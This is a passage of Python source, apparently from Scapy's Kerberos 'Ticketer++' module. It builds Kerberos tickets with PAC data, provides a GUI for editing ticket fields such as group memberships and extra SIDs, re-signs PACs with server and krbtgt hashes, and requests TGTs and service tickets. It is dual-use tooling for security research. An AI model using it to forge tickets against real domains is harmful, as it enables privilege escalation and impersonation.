crealm=store["crealm"], cname=PrincipalName( nameString=store["cname"]["nameString"], nameType=store["cname"]["nameType"], ), authtime=store["authtime"], starttime=store["starttime"], endtime=store["endtime"], renewTill=store["renewTill"], authorizationData=AuthorizationData( seq=[ AuthorizationDataItem( adType=ASN1_INTEGER(1), adData=AuthorizationData( seq=[ AuthorizationDataItem( adType="AD-WIN2K-PAC", adData=PACTYPE( Buffers=[ PAC_INFO_BUFFER( ulType="Logon information", ), ] + ( [ PAC_INFO_BUFFER( ulType="Server Signature", ), ] if _signature_set("SC") else [] ) + ( [ PAC_INFO_BUFFER( ulType="KDC Signature", ), ] if _signature_set("KC") else [] ) + [ PAC_INFO_BUFFER( ulType="Client name and ticket information", ), PAC_INFO_BUFFER( ulType="UPN and DNS information", ), ] + ( [ PAC_INFO_BUFFER( ulType="Client claims information", ), ] if claimSet else [] ) + ( [ PAC_INFO_BUFFER( ulType="PAC Attributes", ), ] if store["AI.Flags"] else [] ) + ( [ PAC_INFO_BUFFER( ulType="PAC Requestor", ), ] if store["REQ.Sid"] else [] ) + ( [ PAC_INFO_BUFFER( ulType="Ticket Signature", ), ] if _signature_set("TKT") else [] ) + ( [ PAC_INFO_BUFFER( ulType="Extended KDC Signature", ), ] if _signature_set("EXKC") else [] ), Payloads=[ KERB_VALIDATION_INFO( ndr64=False, ndrendian="little", LogonTime=store["VI.LogonTime"], LogoffTime=store["VI.LogoffTime"], KickOffTime=store["VI.KickOffTime"], PasswordLastSet=store[ "VI.PasswordLastSet" ], PasswordCanChange=store[ "VI.PasswordCanChange" ], PasswordMustChange=store[ "VI.PasswordMustChange" ], EffectiveName=RPC_UNICODE_STRING( Buffer=store["VI.EffectiveName"], ), FullName=RPC_UNICODE_STRING( Buffer=store["VI.FullName"], ), LogonScript=RPC_UNICODE_STRING( Buffer=store["VI.LogonScript"], ), ProfilePath=RPC_UNICODE_STRING( Buffer=store["VI.ProfilePath"], ), HomeDirectory=RPC_UNICODE_STRING( Buffer=store["VI.HomeDirectory"], ), HomeDirectoryDrive=RPC_UNICODE_STRING( Buffer=store[ "VI.HomeDirectoryDrive" ], ), UserSessionKey=USER_SESSION_KEY( data=[ CYPHER_BLOCK( data=store[ "VI.UserSessionKey" ][:8] ), CYPHER_BLOCK( data=store[ "VI.UserSessionKey" ][8:] ), ] ), LogonServer=RPC_UNICODE_STRING( Buffer=store["VI.LogonServer"], ), LogonDomainName=RPC_UNICODE_STRING( Buffer=store["VI.LogonDomainName"], ), LogonCount=store["VI.LogonCount"], BadPasswordCount=store[ "VI.BadPasswordCount" ], UserId=store["VI.UserId"], PrimaryGroupId=store[ "VI.PrimaryGroupId" ], GroupIds=[ GROUP_MEMBERSHIP( RelativeId=x["RelativeId"], Attributes=x["Attributes"], ) for x in store["VI.GroupIds"] ], UserFlags=store["VI.UserFlags"], LogonDomainId=self._build_sid( store["VI.LogonDomainId"] ), Reserved1=[0, 0], UserAccountControl=store[ "VI.UserAccountControl" ], Reserved3=[0, 0, 0, 0, 0, 0, 0], ExtraSids=( [ KERB_SID_AND_ATTRIBUTES( Sid=self._build_sid( x["Sid"] ), Attributes=x["Attributes"], ) for x in store["VI.ExtraSids"] ] if store["VI.ExtraSids"] else None ), ResourceGroupDomainSid=self._build_sid( store["VI.ResourceGroupDomainSid"] ), ResourceGroupIds=( [ GROUP_MEMBERSHIP( RelativeId=x["RelativeId"], Attributes=x["Attributes"], ) for x in store[ "VI.ResourceGroupIds" ] ] if store["VI.ResourceGroupIds"] else None ), ), ] + ( [ PAC_SIGNATURE_DATA( SignatureType=store[ "SC.SignatureType" ], Signature=store["SC.Signature"], RODCIdentifier=store[ "SC.RODCIdentifier" ], ), ] if _signature_set("SC") else [] ) + ( [ PAC_SIGNATURE_DATA( SignatureType=store[ "KC.SignatureType" ], Signature=store["KC.Signature"], RODCIdentifier=store[ "KC.RODCIdentifier" ], ), ] if _signature_set("KC") else [] ) + [ PAC_CLIENT_INFO( ClientId=store["CI.ClientId"], Name=store["CI.Name"], ), UPN_DNS_INFO( Flags=store["UPNDNS.Flags"], Payload=[ ( "Upn", store["UPNDNS.Upn"], ), ( "DnsDomainName", store["UPNDNS.DnsDomainName"], ), ( "SamName", store["UPNDNS.SamName"], ), ( "Sid", self._build_sid( store["UPNDNS.Sid"], msdn=True, ), ), ], ), ] + ( [ PAC_CLIENT_CLAIMS_INFO( ndr64=False, Claims=CLAIMS_SET_METADATA( ClaimsSet=[ claimSet, ], usCompressionFormat=0, usReservedType=0, ulReservedFieldSize=0, ReservedField=None, ), ), ] if claimSet else [] ) + ( [ PAC_ATTRIBUTES_INFO( Flags=[store["AI.Flags"]], FlagsLength=2, ) ] if store["AI.Flags"] else [] ) + ( [ PAC_REQUESTOR_SID( Sid=self._build_sid( store["REQ.Sid"], msdn=True ), ), ] if store["REQ.Sid"] else [] ) + ( [ PAC_SIGNATURE_DATA( SignatureType=store[ "TKT.SignatureType" ], Signature=store["TKT.Signature"], RODCIdentifier=store[ "TKT.RODCIdentifier" ], ), ] if _signature_set("TKT") else [] ) + ( [ PAC_SIGNATURE_DATA( SignatureType=store[ "EXKC.SignatureType" ], Signature=store["EXKC.Signature"], RODCIdentifier=store[ "EXKC.RODCIdentifier" ], ) ] if _signature_set("EXKC") else [] ), ), ) ] ), ) ] ), ) def _make_fields(self, element, fields, datastore=None): frm = ttk.Frame(element) frm.pack(fill="x") for i, fld in enumerate(fields): (self._data if datastore is None else datastore)[fld[0]] = v = tk.StringVar( frm, value=fld[1] ) ttk.Label(frm, text=fld[0]).grid(row=i, column=0, sticky="w") ttk.Entry(frm, textvariable=v).grid(row=i, column=1, sticky="e") frm.grid_columnconfigure(1, weight=1) def _make_checkbox(self, element, keys, flags, datastore): for flg in keys: datastore[flg] = v = tk.BooleanVar(value=flg in flags) tk.Checkbutton(element, text=flg, variable=v, anchor=tk.W).pack( fill="x", padx=5, pady=1 ) def _make_table(self, element, name, headers, lst, datastore=None): wrap = ttk.LabelFrame(element, text=name) tree = ttk.Treeview(wrap, column=headers, show="headings", height=4) vsb = ttk.Scrollbar(wrap, orient="vertical", command=tree.yview) vsb.pack(side="right", fill="y") tree.configure(yscrollcommand=vsb.set) for h in headers: tree.column(h, anchor=tk.CENTER) tree.heading(h, text=h) for i, row in enumerate(lst): tree.insert(parent="", index="end", iid=i, values=row) tree.pack(fill="x", padx=10, pady=10) def _update_datastore(): children = [tree.item(x, "values") for x in tree.get_children()] (self._data if datastore is None else datastore)[name] = children _update_datastore() class EditDialog(tksd.Dialog): def __init__(self, *args, **kwargs): self.data = {} self.initial_values = kwargs.pop("values", {}) self.success = False super(EditDialog, self).__init__(*args, **kwargs) def body(diag, frame): self._make_fields( frame, [(x, diag.initial_values.get(x, "")) for x in headers], datastore=diag.data, ) return frame def ok(self, *args, **kwargs): self.success = True super(EditDialog, self).ok(*args, **kwargs) def values(self): return tuple(x.get() for x in self.data.values()) def add(): dialog = EditDialog(title="Add", parent=tree) if dialog.success: i = len(tree.get_children()) tree.insert(parent="", index="end", iid=i, values=dialog.values()) _update_datastore() def edit(): selected = tree.focus() if not selected: return values = dict(zip(headers, tree.item(selected, "values"))) dialog = EditDialog(title="Edit", parent=tree, values=values) if dialog.success: tree.item(selected, values=dialog.values()) _update_datastore() def remove(): selected = tree.focus() if selected: tree.delete(selected) _update_datastore() btns = ttk.Frame(wrap) ttk.Button(btns, text="Add", command=add).grid(row=0, column=0, padx=10) ttk.Button(btns, text="Edit", command=edit).grid(row=0, column=1, padx=10) ttk.Button(btns, text="Remove", command=remove).grid(row=0, column=2, padx=10) btns.pack() wrap.pack(fill="x") def _make_list(self, element, func, key, fields_list, new_values): tbl = ttk.Frame(element) tbl.pack() self._data[key] = data = collections.defaultdict(dict) def append(val): i = tbl.grid_size()[1] elt = ttk.Frame(tbl, style="BorderFrame.TFrame") elt.grid(padx=10, pady=10, row=i, column=0) func(elt, val, data[i]) for val in fields_list: append(val) def add(): append(new_values.copy()) def delete(): slavescount = len(tbl.grid_slaves()) i = tksd.askinteger( "Delete", "Input the index of the Claim to delete [0-%s]" % (slavescount - 1), parent=tbl, ) if i is None or i > slavescount - 1: return tbl.grid_slaves(row=i, column=0)[0].destroy() del data[i] btns = ttk.Frame(element) ttk.Button(btns, text="Add", command=add).grid(row=0, column=0, padx=10) ttk.Button(btns, text="Delete", command=delete).grid(row=0, column=1, padx=10) btns.pack() _TIME_FIELD = UTCTimeField( "", None, fmt="> 32) & 0xFFFFFFFF, dwLowDateTime=x & 0xFFFFFFFF, ) def _filetime_totime(self, x): if x.dwHighDateTime == 0x7FFFFFFF and x.dwLowDateTime == 0xFFFFFFFF: return "NEVER" return self._pretty_time((x.dwHighDateTime << 32) + x.dwLowDateTime) def _pretty_sid(self, sid): if not sid or not sid.IdentifierAuthority.Value: return "" return sid.summary() def _getLogonInformation(self, pac, element): logonInfo = pac.getPayload(0x00000001) if not logonInfo: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000001)) logonInfo = KERB_VALIDATION_INFO() else: logonInfo = logonInfo.value self._make_fields( element, [ ("LogonTime", self._filetime_totime(logonInfo.LogonTime)), ("LogoffTime", self._filetime_totime(logonInfo.LogoffTime)), ("KickOffTime", self._filetime_totime(logonInfo.KickOffTime)), ( "PasswordLastSet", self._filetime_totime(logonInfo.PasswordLastSet), ), ( "PasswordCanChange", self._filetime_totime(logonInfo.PasswordCanChange), ), ( "PasswordMustChange", self._filetime_totime(logonInfo.PasswordMustChange), ), ( "EffectiveName", logonInfo.EffectiveName.Buffer.value.value[0].value.decode(), ), ( "FullName", logonInfo.FullName.Buffer.value.value[0].value.decode(), ), ( "LogonScript", logonInfo.LogonScript.Buffer.value.value[0].value.decode(), ), ( "ProfilePath", logonInfo.ProfilePath.Buffer.value.value[0].value.decode(), ), ( "HomeDirectory", logonInfo.HomeDirectory.Buffer.value.value[0].value.decode(), ), ( "HomeDirectoryDrive", logonInfo.HomeDirectoryDrive.Buffer.value.value[0].value.decode(), ), ("LogonCount", str(logonInfo.LogonCount)), ("BadPasswordCount", str(logonInfo.BadPasswordCount)), ("UserId", str(logonInfo.UserId)), ("PrimaryGroupId", str(logonInfo.PrimaryGroupId)), ], ) self._make_table( element, "GroupIds", ["RelativeId", "Attributes"], [ (str(x.RelativeId), str(x.Attributes)) for x in logonInfo.GroupIds.value.value ], ) self._make_fields( element, [ ("UserFlags", str(logonInfo.UserFlags)), ( "UserSessionKey", bytes_hex( b"".join(x.data for x in logonInfo.UserSessionKey.data) ).decode(), ), ( "LogonServer", logonInfo.LogonServer.Buffer.value.value[0].value.decode(), ), ( "LogonDomainName", logonInfo.LogonDomainName.Buffer.value.value[0].value.decode(), ), ( "LogonDomainId", self._pretty_sid(logonInfo.LogonDomainId.value), ), ("UserAccountControl", str(logonInfo.UserAccountControl)), ], ) self._make_table( element, "ExtraSids", ["Sid", "Attributes"], [ (self._pretty_sid(x.Sid.value), str(x.Attributes)) for x in ( logonInfo.ExtraSids.value.value if logonInfo.ExtraSids else [] ) ], ) self._make_fields( element, [ ( "ResourceGroupDomainSid", self._pretty_sid( logonInfo.ResourceGroupDomainSid.value if logonInfo.ResourceGroupDomainSid else None ), ), ], ) self._make_table( element, "ResourceGroupIds", ["RelativeId", "Attributes"], [ (str(x.RelativeId), str(x.Attributes)) for x in ( logonInfo.ResourceGroupIds.value.value if logonInfo.ResourceGroupIds else [] ) ], ) def _getClientInfo(self, pac, element): clientInfo = pac.getPayload(0x0000000A) if not clientInfo: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x0000000A)) clientInfo = PAC_CLIENT_INFO() return self._make_fields( element, [ ("ClientId", self._pretty_time(clientInfo.ClientId)), ("Name", clientInfo.Name), ], ) def _getUPNDnsInfo(self, pac, element): upndnsinfo = pac.getPayload(0x0000000C) if not upndnsinfo: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x0000000C)) upndnsinfo = UPN_DNS_INFO() return self._make_fields( element, [ ("Upn", upndnsinfo.Upn), ("DnsDomainName", upndnsinfo.DnsDomainName), ( "SamName", ( upndnsinfo.SamName if upndnsinfo.Flags.S and upndnsinfo.SamNameLen else "" ), ), ( "UpnDnsSid", ( self._pretty_sid(upndnsinfo.Sid) if upndnsinfo.Flags.S and upndnsinfo.SidLen else "" ), ), ], ) def _getClientClaims(self, pac, element): clientClaims = pac.getPayload(0x0000000D) if not clientClaims or isinstance(clientClaims, conf.padding_layer): pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x0000000D)) claimsArray = [] else: claimsArray = ( clientClaims.value.valueof("Claims") .valueof("ClaimsSet") .value.valueof("ClaimsArrays") ) def func(elt, x, datastore): self._make_fields( elt, [ ("ClaimsSourceType", str(x.usClaimsSourceType)), ], datastore=datastore, ) self._make_table( elt, "ClaimEntries", ["Id", "Type", "Values"], [ ( y.valueof("Id").decode(), str(y.Type), ";".join( z.decode() for z in y.valueof("Values").valueof("StringValues") ), ) for y in x.valueof("ClaimEntries") ], datastore=datastore, ) return self._make_list( element, func=func, key="ClaimsArrays", fields_list=claimsArray, new_values=CLAIMS_ARRAY(ClaimEntries=[]), ) def _getPACAttributes(self, pac, element): pacAttributes = pac.getPayload(0x00000011) if not pacAttributes: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000011)) pacAttributes = PAC_ATTRIBUTES_INFO(Flags=0) flags = str(pacAttributes.Flags[0]).split("+") self._data["pacAttributes"] = {} self._make_checkbox( element, [ "PAC_WAS_REQUESTED", "PAC_WAS_GIVEN_IMPLICITLY", ], flags, self._data["pacAttributes"], ) def _getPACRequestor(self, pac, element): pacRequestor = pac.getPayload(0x00000012) if not pacRequestor: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000012)) pacRequestor = PAC_REQUESTOR_SID() return self._make_fields( element, [("ReqSid", self._pretty_sid(pacRequestor.Sid))] ) def _getServerChecksum(self, pac, element): serverChecksum = pac.getPayload(0x00000006) if not serverChecksum: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000006)) serverChecksum = PAC_SIGNATURE_DATA() return self._make_fields( element, [ ( "SRVSignatureType", ( str(serverChecksum.SignatureType) if serverChecksum.SignatureType is not None else "" ), ), ("SRVSignature", bytes_hex(serverChecksum.Signature).decode()), ("SRVRODCIdentifier", serverChecksum.RODCIdentifier.decode()), ], ) def _getKDCChecksum(self, pac, element): kdcChecksum = pac.getPayload(0x00000007) if not kdcChecksum: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000007)) kdcChecksum = PAC_SIGNATURE_DATA() return self._make_fields( element, [ ( "KDCSignatureType", ( str(kdcChecksum.SignatureType) if kdcChecksum.SignatureType is not None else "" ), ), ("KDCSignature", bytes_hex(kdcChecksum.Signature).decode()), ("KDCRODCIdentifier", kdcChecksum.RODCIdentifier.decode()), ], ) def _getTicketChecksum(self, pac, element): ticketChecksum = pac.getPayload(0x00000010) if not ticketChecksum: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000010)) ticketChecksum = PAC_SIGNATURE_DATA() return self._make_fields( element, [ ( "TKTSignatureType", ( str(ticketChecksum.SignatureType) if ticketChecksum.SignatureType is not None else "" ), ), ("TKTSignature", bytes_hex(ticketChecksum.Signature).decode()), ("TKTRODCIdentifier", ticketChecksum.RODCIdentifier.decode()), ], ) def _getExtendedKDCChecksum(self, pac, element): exkdcChecksum = pac.getPayload(0x00000013) if not exkdcChecksum: pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000013)) exkdcChecksum = PAC_SIGNATURE_DATA() return self._make_fields( element, [ ( "EXKDCSignatureType", ( str(exkdcChecksum.SignatureType) if exkdcChecksum.SignatureType is not None else "" ), ), ("EXKDCSignature", bytes_hex(exkdcChecksum.Signature).decode()), ("EXKDCRODCIdentifier", exkdcChecksum.RODCIdentifier.decode()), ], ) def edit_ticket(self, i, key=None, hash=None): """ Edit a Kerberos ticket using the GUI """ if tk is None: raise ImportError( "tkinter is not installed (`apt install python3-tk` on debian)" ) tkt = self.dec_ticket(i, key=key, hash=hash) pac = tkt.authorizationData.seq[0].adData[0].seq[0].adData # WIDTH, HEIGHT = 1120, 1000 # Note: for TK doc, use https://tkdocs.com # Root root = tk.Tk() root.title("Ticketer++ (@secdev/scapy)") # root.geometry("%sx%s" % (WIDTH, HEIGHT)) # root.resizable(0, 1) scrollFrame = ScrollFrame(root) frm = scrollFrame.viewPort tk_ticket = ttk.Frame(frm, padding=5) tk_pac = ttk.Frame(frm, padding=5) ttk.Button(frm, text="Quit", command=root.destroy).grid( column=0, row=1, columnspan=2 ) # TTK style ttkstyle = ttk.Style() ttkstyle.theme_use("alt") ttkstyle.configure( "BorderFrame.TFrame", relief="groove", borderwidth=3, ) # MAIN TICKET # Flags tk_flags = ttk.LabelFrame( tk_ticket, text="Flags", style="BorderFrame.TFrame", ) tk_flags.pack(fill="x", pady=5) flags = tkt.get_field("flags").get_flags(tkt) self._data["flags"] = {} self._make_checkbox(tk_flags, _TICKET_FLAGS, flags, self._data["flags"]) # Key tk_key = ttk.LabelFrame( tk_ticket, text="key", style="BorderFrame.TFrame", ) tk_key.pack(fill="x", pady=5) self._make_fields( tk_key, [ ("keytype", str(tkt.key.keytype.val)), ( "keyvalue", bytes_hex(tkt.key.keyvalue.val).decode(), ), ], ) # crealm self._make_fields(tk_ticket, [("crealm", tkt.crealm.val.decode())]) # cname tk_cname = ttk.LabelFrame( tk_ticket, text="cname", style="BorderFrame.TFrame", ) tk_cname.pack(fill="x", pady=5) self._make_fields( tk_cname, [ ( "nameType", str(tkt.cname.nameType.val), ), ], ) self._make_table( tk_cname, "nameString", ["Value"], [(x.val.decode(),) for x in tkt.cname.nameString], ) # transited tk_transited = ttk.LabelFrame( tk_ticket, text="transited", style="BorderFrame.TFrame", ) tk_transited.pack(fill="x", pady=5) self._make_fields( tk_transited, [ # ( "trType", str(tkt.transited.trType.val), ), ( "contents", tkt.transited.contents.val.decode(), ), ], ) # times self._make_fields( tk_ticket, [ ("authtime", tkt.authtime.pretty_time.rstrip(" UTC")), ("starttime", tkt.starttime.pretty_time.rstrip(" UTC")), ("endtime", tkt.endtime.pretty_time.rstrip(" UTC")), ("renewTill", tkt.renewTill.pretty_time.rstrip(" UTC")), ], ) # PAC # Logon information tk_logoninfo = ttk.LabelFrame( tk_pac, text="Logon information", style="BorderFrame.TFrame", ) tk_logoninfo.pack(fill="x", pady=5) self._getLogonInformation(pac, tk_logoninfo) # Client name and ticket information tk_clientinfo = ttk.LabelFrame( tk_pac, text="Client name and ticket information", style="BorderFrame.TFrame", ) tk_clientinfo.pack(fill="x", pady=5) self._getClientInfo(pac, tk_clientinfo) # UPN and DNS information tk_upndnsinfo = ttk.LabelFrame( tk_pac, text="UPN and DNS information", style="BorderFrame.TFrame", ) tk_upndnsinfo.pack(fill="x", pady=5) self._getUPNDnsInfo(pac, tk_upndnsinfo) # Client claims information tk_clientclaims = ttk.LabelFrame( tk_pac, text="Client claims information", style="BorderFrame.TFrame", ) tk_clientclaims.pack(fill="x", pady=5) self._getClientClaims(pac, tk_clientclaims) # PAC Attributes tk_pacattributes = ttk.LabelFrame( tk_pac, text="PAC Attributes", style="BorderFrame.TFrame", ) tk_pacattributes.pack(fill="x", pady=5) self._getPACAttributes(pac, tk_pacattributes) # PAC Requestor tk_pacrequestor = ttk.LabelFrame( tk_pac, text="PAC Requestor", style="BorderFrame.TFrame", ) tk_pacrequestor.pack(fill="x", pady=5) self._getPACRequestor(pac, tk_pacrequestor) # Server checksum tk_serverchksum = ttk.LabelFrame( tk_pac, text="Server checksum", style="BorderFrame.TFrame", ) tk_serverchksum.pack(fill="x", pady=5) self._getServerChecksum(pac, tk_serverchksum) # KDC checksum tk_serverchksum = ttk.LabelFrame( tk_pac, text="KDC checksum", style="BorderFrame.TFrame", ) tk_serverchksum.pack(fill="x", pady=5) self._getKDCChecksum(pac, tk_serverchksum) # Ticket checksum tk_serverchksum = ttk.LabelFrame( tk_pac, text="Ticket checksum", style="BorderFrame.TFrame", ) tk_serverchksum.pack(fill="x", pady=5) self._getTicketChecksum(pac, tk_serverchksum) # Extended KDC checksum tk_serverchksum = ttk.LabelFrame( tk_pac, text="Extended KDC checksum", style="BorderFrame.TFrame", ) tk_serverchksum.pack(fill="x", pady=5) self._getExtendedKDCChecksum(pac, tk_serverchksum) # Run tk_ticket.grid(column=0, row=0, sticky=tk.N) tk_pac.grid(column=1, row=0, sticky=tk.N) scrollFrame.pack(side="top", fill="both", expand=True) root.mainloop() # Rebuild store = { # KRB "flags": ASN1_BIT_STRING( "".join( "1" if self._data["flags"][x].get() else "0" for x in _TICKET_FLAGS ) + "0" * (-len(_TICKET_FLAGS) % 32) ), "key": { "keytype": ASN1_INTEGER(int(self._data["keytype"].get())), "keyvalue": ASN1_STRING(hex_bytes(self._data["keyvalue"].get())), }, "crealm": ASN1_GENERAL_STRING(self._data["crealm"].get()), "cname": { "nameString": [ ASN1_GENERAL_STRING(x[0]) for x in self._data["nameString"] ], "nameType": ASN1_INTEGER(int(self._data["nameType"].get())), }, "authtime": self._time_to_asn1(self._data["authtime"].get()), "starttime": self._time_to_asn1(self._data["starttime"].get()), "endtime": self._time_to_asn1(self._data["endtime"].get()), "renewTill": self._time_to_asn1(self._data["renewTill"].get()), # PAC # Validation info "VI.LogonTime": self._time_to_filetime(self._data["LogonTime"].get()), "VI.LogoffTime": self._time_to_filetime(self._data["LogoffTime"].get()), "VI.KickOffTime": self._time_to_filetime(self._data["KickOffTime"].get()), "VI.PasswordLastSet": self._time_to_filetime( self._data["PasswordLastSet"].get() ), "VI.PasswordCanChange": self._time_to_filetime( self._data["PasswordCanChange"].get() ), "VI.PasswordMustChange": self._time_to_filetime( self._data["PasswordMustChange"].get() ), "VI.EffectiveName": self._data["EffectiveName"].get(), "VI.FullName": self._data["FullName"].get(), "VI.LogonScript": self._data["LogonScript"].get(), "VI.ProfilePath": self._data["ProfilePath"].get(), "VI.HomeDirectory": self._data["HomeDirectory"].get(), "VI.HomeDirectoryDrive": self._data["HomeDirectoryDrive"].get(), "VI.UserSessionKey": hex_bytes(self._data["UserSessionKey"].get()), "VI.LogonServer": self._data["LogonServer"].get(), "VI.LogonDomainName": self._data["LogonDomainName"].get(), "VI.LogonCount": int(self._data["LogonCount"].get()), "VI.BadPasswordCount": int(self._data["BadPasswordCount"].get()), "VI.UserId": int(self._data["UserId"].get()), "VI.PrimaryGroupId": int(self._data["PrimaryGroupId"].get()), "VI.GroupIds": [ { "RelativeId": int(x[0]), "Attributes": int(x[1]), } for x in self._data["GroupIds"] ], "VI.UserFlags": int(self._data["UserFlags"].get()), "VI.LogonDomainId": self._data["LogonDomainId"].get(), "VI.UserAccountControl": int(self._data["UserAccountControl"].get()), "VI.ExtraSids": [ { "Sid": x[0], "Attributes": int(x[1]), } for x in self._data["ExtraSids"] ], "VI.ResourceGroupDomainSid": self._data["ResourceGroupDomainSid"].get(), "VI.ResourceGroupIds": [ { "RelativeId": int(x[0]), "Attributes": int(x[1]), } for x in self._data["ResourceGroupIds"] ], # Pac Client infos "CI.ClientId": self._time_to_int(self._data["ClientId"].get()), "CI.Name": self._data["Name"].get(), # UPN DNS Info "UPNDNS.Flags": 3, "UPNDNS.Upn": self._data["Upn"].get(), "UPNDNS.DnsDomainName": self._data["DnsDomainName"].get(), "UPNDNS.SamName": self._data["SamName"].get(), "UPNDNS.Sid": self._data["UpnDnsSid"].get(), # Client Claims "CC.ClaimsArrays": [ { "ClaimsSourceType": int(ca["ClaimsSourceType"].get()), "ClaimEntries": [ { "Id": ce[0], "Type": int(ce[1]), "StringValues": ce[2], } for ce in ca["ClaimEntries"] ], } for ca in self._data["ClaimsArrays"].values() ], # Attributes Info "AI.Flags": "+".join( x for x in ["PAC_WAS_REQUESTED", "PAC_WAS_GIVEN_IMPLICITLY"] if self._data["pacAttributes"][x].get() ), # Requestor "REQ.Sid": self._data["ReqSid"].get(), # Server Checksum "SC.SignatureType": int(self._data["SRVSignatureType"].get()), "SC.Signature": hex_bytes(self._data["SRVSignature"].get()), "SC.RODCIdentifier": hex_bytes(self._data["SRVRODCIdentifier"].get()), # KDC Checksum "KC.SignatureType": int(self._data["KDCSignatureType"].get() or "-1"), "KC.Signature": hex_bytes(self._data["KDCSignature"].get()), "KC.RODCIdentifier": hex_bytes(self._data["KDCRODCIdentifier"].get()), # Ticket Checksum "TKT.SignatureType": int(self._data["TKTSignatureType"].get() or "-1"), "TKT.Signature": hex_bytes(self._data["TKTSignature"].get()), "TKT.RODCIdentifier": hex_bytes(self._data["TKTRODCIdentifier"].get()), # Extended KDC Checksum "EXKC.SignatureType": int(self._data["EXKDCSignatureType"].get() or "-1"), "EXKC.Signature": hex_bytes(self._data["EXKDCSignature"].get()), "EXKC.RODCIdentifier": hex_bytes(self._data["EXKDCRODCIdentifier"].get()), } tkt = self._build_ticket(store) if hash is None and key is not None: # TODO: add key to update_ticket hash = key.key self.update_ticket(i, tkt, hash=hash) def _resign_ticket(self, tkt, spn, hash=None, kdc_hash=None): """ Resign a ticket (priv) """ # [MS-PAC] 2.8.1 - 2.8.5 rpac = tkt.authorizationData.seq[0].adData.seq[0].adData # real pac tmp_tkt = tkt.copy() # fake ticket and pac used for computation pac = tmp_tkt.authorizationData.seq[0].adData.seq[0].adData # Variables for Signatures, indexed by ulType sig_i = {} sig_type = {} # Read PAC buffers to find all signatures, and set them to 0 for k, buf in enumerate(pac.Buffers): if buf.ulType in [0x00000006, 0x00000007, 0x00000010, 0x00000013]: sig_i[buf.ulType] = k sig_type[buf.ulType] = pac.Payloads[k].SignatureType try: pac.Payloads[k].Signature = ( b"\x00" * _checksums[pac.Payloads[k].SignatureType].macsize ) except KeyError: raise ValueError("Unknown/Unsupported signatureType") rpac.Buffers[k].cbBufferSize = None rpac.Buffers[k].Offset = None # There must at least be Server Signature and KDC Signature if any(x not in sig_i for x in [0x00000006, 0x00000007]): raise ValueError("Cannot sign PAC: missing a compulsory signature") # Build the 2 necessary keys key_srv = self._prompt_hash( spn, cksumtype=sig_type[0x00000006], hash=hash, ) key_kdc = self._prompt_hash( "krbtgt/" + "@".join(spn.split("@")[1:] * 2), cksumtype=sig_type[0x00000007], hash=kdc_hash, ) # Doc was updated after feedback ! it's now very clear. # [MS-PAC] sect 2.8.1 # Signatures are computed in this order: # - Ticket signature # - Extended KDC signature # - Server signature # - KDC signature # sect 2.8.2 - Ticket Signature if 0x00000010 in sig_i: # "The ad-data in the PAC’s AuthorizationData element ([RFC4120] # section 5.2.6) is replaced with a single zero byte" tmp_tkt.authorizationData.seq[0].adData.seq[0].adData = b"\x00" rpac.Payloads[sig_i[0x00000010]].Signature = ticket_sig = ( key_kdc.make_checksum( 17, bytes(tmp_tkt) # KERB_NON_KERB_CKSUM_SALT(17) ) ) # included in the PAC when signing it for Extended Server Signature & Server Signature pac.Payloads[sig_i[0x00000010]].Signature = ticket_sig # sect 2.8.3 - Extended KDC Signature if 0x00000013 in sig_i: rpac.Payloads[sig_i[0x00000013]].Signature = extended_kdc_sig = ( key_kdc.make_checksum(17, bytes(pac)) # KERB_NON_KERB_CKSUM_SALT(17) ) # included in the PAC when signing it for Server Signature pac.Payloads[sig_i[0x00000013]].Signature = extended_kdc_sig # sect 2.8.4 - Server Signature rpac.Payloads[sig_i[0x00000006]].Signature = server_sig = key_srv.make_checksum( 17, bytes(pac) # KERB_NON_KERB_CKSUM_SALT(17) ) # sect 2.8.5 - KDC Signature rpac.Payloads[sig_i[0x00000007]].Signature = key_kdc.make_checksum( 17, server_sig # KERB_NON_KERB_CKSUM_SALT(17) ) return tkt def resign_ticket(self, i, hash=None, kdc_hash=None): """ Resign a ticket from CCache :param hash: the hash to use to compute the Server Signature :param kdc_hash: the hash to use to compute the KDC signature (if None, not recomputed unless its a TGT where is uses hash) """ tkt = self.dec_ticket(i, hash=hash) self.update_ticket(i, tkt, resign=True, hash=hash, kdc_hash=kdc_hash) def request_tgt( self, upn, ip=None, key=None, password=None, realm=None, fast=False, armor_with=None, spn=None, x509=None, x509key=None, p12=None, **kwargs, ): """ Request a Kerberos TGT and add it to the local CCache See :func:`~scapy.layers.kerberos.krb_as_req` for the full documentation. """ if key is None and password is None: # Do we have the credential in our Keystore ? try: key = self.get_cred(upn) except ValueError: # It's okay if we don't have the cred. krb_as_req will prompt. pass # If `armor_with` is specified, get the armor ticket from our store armor_ticket, armor_ticket_skey, armor_ticket_upn = None, None, None if armor_with is not None: fast = True armor_ticket, armor_ticket_skey, armor_ticket_upn, _ = self.export_krb( armor_with ) res = krb_as_req( upn=upn, ip=ip, key=key, password=password, realm=realm, fast=fast, armor_ticket=armor_ticket, armor_ticket_upn=armor_ticket_upn, armor_ticket_skey=armor_ticket_skey, spn=spn, x509=x509, x509key=x509key, p12=p12, **kwargs, ) if not res: return self.import_krb(res) def request_st( self, i, spn, ip=None, renew=False, realm=None, additional_tickets=None, fast=False, armor_with=None, for_user=None, s4u2proxy=None, **kwargs, ): """ Request a Kerberos TS and add it to the local CCache using another ticket. :param i: the index of the ticket/sessionkey to use in the TGS request. :param spn: the SPN to request a ticket for. :param armor_with: the index of the ticket/sessionkey to armor this request. :param s4u2proxy: if an index, the index of the additional ticket to send along a S4U2PROXY request. If True, it will use additional_tickets as usual. :param for_user: if provided, requests S4U2SELF for that user. See :func:`~scapy.layers.kerberos.krb_tgs_req` for the the other parameters. """ ticket, sessionkey, upn, _ = self.export_krb(i) if additional_tickets is None: additional_tickets = [] # If `armor_with` is specified, get the armor ticket from our store armor_ticket, armor_ticket_skey, armor_ticket_upn = None, None, None if armor_with is not None: fast = True armor_ticket, armor_ticket_skey, armor_ticket_upn, _ = self.export_krb( armor_with ) # If `s4u2proxy` is an index, get the ticket to 